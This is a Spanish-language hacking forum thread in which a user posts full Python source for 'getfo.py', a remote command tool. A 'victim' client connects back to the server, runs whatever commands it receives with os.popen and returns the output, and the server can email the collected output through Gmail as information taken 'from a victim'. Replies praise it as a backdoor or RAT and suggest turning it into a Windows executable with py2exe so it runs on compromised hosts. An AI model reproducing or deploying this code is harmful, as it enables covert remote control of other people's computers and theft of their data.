[Herramienta] getfo.py

Iniciado por Sajuuk, Abril 22, 2015, 01:42:57 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Abril 22, 2015, 01:42:57 AM Ultima modificación: Abril 23, 2015, 02:19:51 PM por Barlan
Buenas noches/dias/tardes.
Estuve escribiendo esta herramienta, aprovechando un poco el code del email-sender que hice hace unos meses.
También para practicar sockets, y para aprovechar uno de los inconvenientes del primer code: no poder adjuntar archivos en un email.

Son 2 archivos, el servidor y la víctima (o el cliente, jeje).

Funcionamiento:
Abrimos el servidor, y esperamos la conexión de la victima.
Mientras tanto, extrañamente la victima se conecta a nosotros  ::)
El servidor ahora puede enviarle comandos, y la victima los recibe y ejecuta con os.popen(comando), y envía los resultados al servidor.

El servidor guarda el resultado en un archivo de texto, y da la opcion de enviar otro comando, o no, y si desea enviar el archivo por correo [Gmail] (puede servir para un "trabajo en equipo", quizás)
Si elegimos enviarlo por correo, iniciamos sesión en en el mismo programa, especificamos un destinatario, y envia el archivo.

Servidor (getfo.py):
Código: python

import socket, os
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

#////////////////////////////////////////////////////////////////////////////////////////////////////////////#

class Get():
    '''
    Get() crea el servidor, y apartír de ahi espera una conexión entrante (la victima).
    Lo siguiente es enviar un comando, y esperar los datos de regreso.
    Despues, elegimos la opción de si guardarlo en la PC, o enviarlo via correo electrónico.
    '''
    def __init__(self):
        self.i = True

    def menu(self):
        os.system("cls")
        print("""
#================================#
# getfo.py
# One client, one victim.
#================================#
1) Start server.
2) Send info.
3) Exit.""")
        e = int(input(">> "))
        if e == 1: self.start()
        elif e == 2: self.for_mail()
        elif e == 3:
            self.i = False
            exit_cmd()

    def start(self):
        '''start() comienza la ejecución del servidor
        Imprime un mensaje de exito y procede a esperar una conexión entrante.
        '''

        self.socksv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socksv.bind(("127.0.0.1", 10232))
        self.socksv.listen(2)
        print("\n[+] Server now listening on 127.0.0.1:10232\n")
        self.sc, self.addr = self.socksv.accept()
        print("[+] %s is now online." % str(self.addr))
        self.send_cmd()

    def send_cmd(self):
        '''send_cmd(), sus funciones son:
                1) Enviar comandos y recibir los resultados
                2) Guardar los datos en un archivo de texto.

            En caso de elegir enviarlos por correo electrónico, se procede a ello pasando a la clase send_Results().
        '''

        cmd = str(input("Command? (""exit"" to close)>> "))
        if cmd == "exit":
            self.sc.close()
            self.socksv()
            exit_cmd()

        self.sc.send(cmd.encode("utf-8"))
        print("[!...] Awaiting....")
        resp = self.sc.recv(2048)
        if os.path.exists("data_info.txt"):
            with open("data_info.txt", "a") as f:
                f.write(str(resp.decode("utf-8") + "\n\n"))
        else:
            with open("data_info.txt", "w") as f:
                f.write(str(resp.decode("utf-8") + "\n\n"))
        print("[+] Data received and saved on 'data_info.txt'")
        a = str(input("\n[?] Want to send another command? (y/n) ")).lower()
        if a == "y":
            self.send_cmd()
        elif a == "n":
            g = str(input("[?!] Do you want to send the info via email? (y/n): ")).lower()
            if g == "y":
                self.for_mail()
            elif g == "n":
                exit_cmd()

    def for_mail(self):
        if os.path.exists("data_info.txt"):
            my_e = str(input("\n[?] Your gmail account: "))
            passw = str(input("[?] Your password: "))
            if self.i == True:
                b = Email(my_e, passw)
                b.login()
            else:
                self.menu()
        else:
            print("[!] File: data_info.txt doesn't exist.\nPress any key to return to the main menu....")
            self.sc.close()
            self.socksv()
            self.menu()

#////////////////////////////////////////////////////////////////////////////////////////////////////////////#

class Email():
    ''' Email() es el encargado de enviar el fichero por Gmail.
    Son recibidas 2 variables: tu correo, y tu contraseña.
    Se inicia sesión, y se procede a definir el email que recibirá el fichero.
    '''

    def __init__(self, my_e, passw):
        self.gmail = smtplib.SMTP('smtp.gmail.com', 587)
        self.mail = my_e
        self.passw = passw
   
    def login(self):
        '''login() se encarga de hacer conexión al servidor de Gmail, e inicia sesión con nuestros datos.'''
        self.gmail.ehlo()
        self.gmail.starttls()
        try:
            self.gmail.login(self.mail, self.passw)
            self.send_message()
        except Exception as e:
            print("[-] Error: " + str(e) + "\n\nPress any key to return to exit....")
            input()
            exit_cmd()

    def send_message(self):
        '''send_message() se encarga de definir el destino del correo,
        y además adjunta el archivo con los datos recopilados.'''

        e_to = str(input("\n[?] To address: "))
        msg = MIMEMultipart('alternative')
        msg['Subject'] = 'Information for you'
        msg['From'] = self.mail
        body = 'I recopiled this information from a victim.'

        filename = "data_info.txt"
        r = open(filename)
        att = MIMEText(r.read())
        att.add_header("Content-Disposition", "attachment", filename = filename)
        msg.attach(att)

        content = MIMEText(body, 'plain')
        msg.attach(content)
        print("[!] Sending email to %s..." % e_to)
        try:
            self.gmail.sendmail(self.mail, e_to, msg.as_string())
        except Exception as e:
            print("[-] Error: " + str(e) + "\n\nPress any key to return to the main menu....")
            input()
            a = Get()
            a.menu()

        print("[+] Data sent successfully.")

#////////////////////////////////////////////////////////////////////////////////////////////////////////////#

def exit_cmd():
        '''El mensaje de adios'''
        print("\nExiting... ")
        copyright()

def copyright():
        '''Creditos'''
        print("(C) Barlan. | April 21, 2015\n")

if __name__ == "__main__":
    Get().menu()





La victima (victim.py):
Código: python

import socket, os

class cCMD():
    def start(self):
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            sock.connect(("127.0.0.1", 10232))
            print("[!+] Connection established!")
        except:
            print("[-] Can't establish a connection to server.")
            exit()
        while True:
            print("\n[...] Awaiting commands...")
            re = sock.recv(1024)
            if not re:
                print("\n[...] Exiting")
                exit()
            cmd = re.decode("utf-8")
            print("[!] Executing command...")
            text = os.popen(cmd)
            data = str(text.read())
            sock.send(data.encode("utf-8"))
            print("[+] Data sent succesfully.")

if __name__ == "__main__":
    cCMD().start()


Algunas fotocapturas:












Pensaba agregarle una GUI, pero aún no domino tkinter (no se deja  :o)
Me gustaría que opinaran acerca del code, si existen partes removibles, si puedo añadirle más funciones (o limpiar un poco el code, porque hasta yo me perdía  ;D), no sé, ustedes digan.

Sin más que decir, me despido.

Saludos!


En verdad un trabajo excelente Barlan! Muy bueno, me gusto mucho! Fijate de hacer la interfaz grafica y ver que tal va el proyecto!!! Cualquier cosa pega el grito, que mas de uno te va a dar una mano por acá!
No intentes pararme, trata de defenderte, trata de matarme, pero de cualqueir forma TE SUPERARE

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
En verdad un trabajo excelente Barlan! Muy bueno, me gusto mucho! Fijate de hacer la interfaz grafica y ver que tal va el proyecto!!! Cualquier cosa pega el grito, que mas de uno te va a dar una mano por acá!

Espero terminar la Interfaz en estos días (dependiendo que no me dejen tarea c: ).
Y claro, si llego a tener dudas, siempre contaré con el foro para encontrar solucion a ellas!  ;D

Saludos!


Muy bueno, pero hacerlo en python no me parece del todo una buena idea para una backdoor.
¿No sería mejor compilarlo en C para hacerlo multiplataforma? Sería una pena no poder utilizarlo porque el host comprometido no utilice el intérprete de Python...
Podría vivir perfectamente con una mancha de pis en la alfombra, pero qué va, tío: Más complicaciones.

Muy bueno Barlan!
Te dejo +Puntos!

Saludos!
ANTRAX


Abril 22, 2015, 09:01:13 AM #5 Ultima modificación: Abril 22, 2015, 09:06:48 AM por WhiZ
Hola Barlan! Muchas gracias por compartir tus trabajos!

El año pasado, mas o menos a esta altura del año, desarrollé con Python un buen RAT para consola, totalmente estable y 100% efectivo. Lo estuve testeando y todo. La verdad que funcionaba muy bien. El único problema que tenía es que no permitía el control simultáneo de varios hosts remotos. De todas formas, tampoco era ésa la idea, ya que la finalidad de ése proyecto era lograr una fuerte estabilidad en lo que respecta a sockets y ejecución de comandos de manera remota. A partir de éso, se podría crear algo con una interfaz gráfica amigable, más completo (también tenía algunos módulos desarrollados para éso) y con control simultáneo de hosts remotos.

Cumplí mi objetivo con ese RAT pero, por cuestiones de tiempo, no he podido completar el desarrollo del mismo.

Bueno, me fui por las ramas xD... Te felicito por tu código y te dejo +1.

Espero seguir viendo aportes de este tipo!




No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Muy bueno, pero hacerlo en python no me parece del todo una buena idea para una backdoor.
¿No sería mejor compilarlo en C para hacerlo multiplataforma? Sería una pena no poder utilizarlo porque el host comprometido no utilice el intérprete de Python...

En realidad no es así. Existen varias aplicaciones que permiten convertir los scripts de python en ejecutables de Windows. Es cierto que se pierde un poco de estabilidad pero puedo asegurar que con un manejo adecuado de errores se logra una gran robustez.




Saludos!
WhiZ


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Muy bueno, pero hacerlo en python no me parece del todo una buena idea para una backdoor.
¿No sería mejor compilarlo en C para hacerlo multiplataforma? Sería una pena no poder utilizarlo porque el host comprometido no utilice el intérprete de Python...

Por ello me he propuesto aprender C/C++ xd
Aún así, como dice WhiZ, existe, por ejemplo, py2exe, que "transforma" un archivo python a un ejecutable (.exe).

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Muy bueno Barlan!
Te dejo +Puntos!

Saludos!
ANTRAX

Muchas gracias ANTRAX!  :D



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola Barlan! Muchas gracias por compartir tus trabajos!

El año pasado, mas o menos a esta altura del año, desarrollé con Python un buen RAT para consola, totalmente estable y 100% efectivo. Lo estuve testeando y todo. La verdad que funcionaba muy bien. El único problema que tenía es que no permitía el control simultáneo de varios hosts remotos. De todas formas, tampoco era ésa la idea, ya que la finalidad de ése proyecto era lograr una fuerte estabilidad en lo que respecta a sockets y ejecución de comandos de manera remota. A partir de éso, se podría crear algo con una interfaz gráfica amigable, más completo (también tenía algunos módulos desarrollados para éso) y con control simultáneo de hosts remotos.

Cumplí mi objetivo con ese RAT pero, por cuestiones de tiempo, no he podido completar el desarrollo del mismo.

Bueno, me fui por las ramas xD... Te felicito por tu código y te dejo +1.

Espero seguir viendo aportes de este tipo!

Muchas gracias!
Yo pasé algo similar con el e-sender. Primero lo hice en consola, e iba a publicarlo aquí, pero me di cuenta que ya había aproximadamente 2 programas similares en el foro, así que tuve la idea de usar tkinter. El problema es que no conocía nada de el, así que mientras avanzaba el proyecto del e-sender, también aprendía (casi desde 0) tkinter. En el code que acabo de publicar, tenía planeado usar threads junto con una interfaz, pero no conozco casi nada de threads, y bueno, ya tenía el programa funcional, con (probablemente) todas las posibles excepciones aseguradas, así que mejor lo publiqué, y crear la interfaz despues.  ;D

Saludos!